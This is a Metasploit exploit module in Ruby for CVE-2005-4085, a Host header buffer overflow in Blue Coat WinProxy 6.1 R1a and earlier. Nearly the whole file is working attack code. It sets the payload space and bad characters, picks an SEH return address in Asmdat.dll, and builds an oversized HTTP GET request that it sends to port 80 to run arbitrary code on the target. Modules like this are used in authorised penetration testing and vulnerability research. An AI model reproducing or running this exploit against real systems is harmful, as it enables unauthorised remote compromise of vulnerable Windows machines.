require 'msf/core'

module Msf

class Exploits::Windows::Proxy::Bluecoat_WinProxy_Host < Msf::Exploit::Remote

	include Exploit::Remote::Tcp
	include Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Blue Coat Systems WinProxy Host Header Buffer Overflow',
			'Description'    => %q{
				Remote exploitation of a buffer overflow vulnerability
				in Blue Coat Systems Inc.'s WinProxy allows for the 
				remote execution of arbitrary code. 
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     => 
				[ 
					['CVE', '2005-4085'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			
			'Targets'        =>
				[
					[ 'WinProxy <= 6.1 R1a Universal', { 'Ret' => 0x6020ba04 } ], # Asmdat.dll
				],

			'Privileged'     => true,

			'DisclosureDate' => 'January 5 2005',

			'DefaultTarget' => 0))

			register_options(
				[
						Opt::RPORT(80)
				], self)

	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		sploit  = "GET / HTTP/1.1" + "\r\n" 
		sploit += "Host: 127.0.0.1:"
		sploit += Rex::Text.rand_text_english(31, payload_badchars)
		seh  = generate_seh_payload(target.ret)
		sploit[23, seh.length] = seh
		sploit += "\r\n\r\n"

		sock.put(sploit)
		sock.get_once(-1, 3)
		
		handler
		disconnect
	end

end
end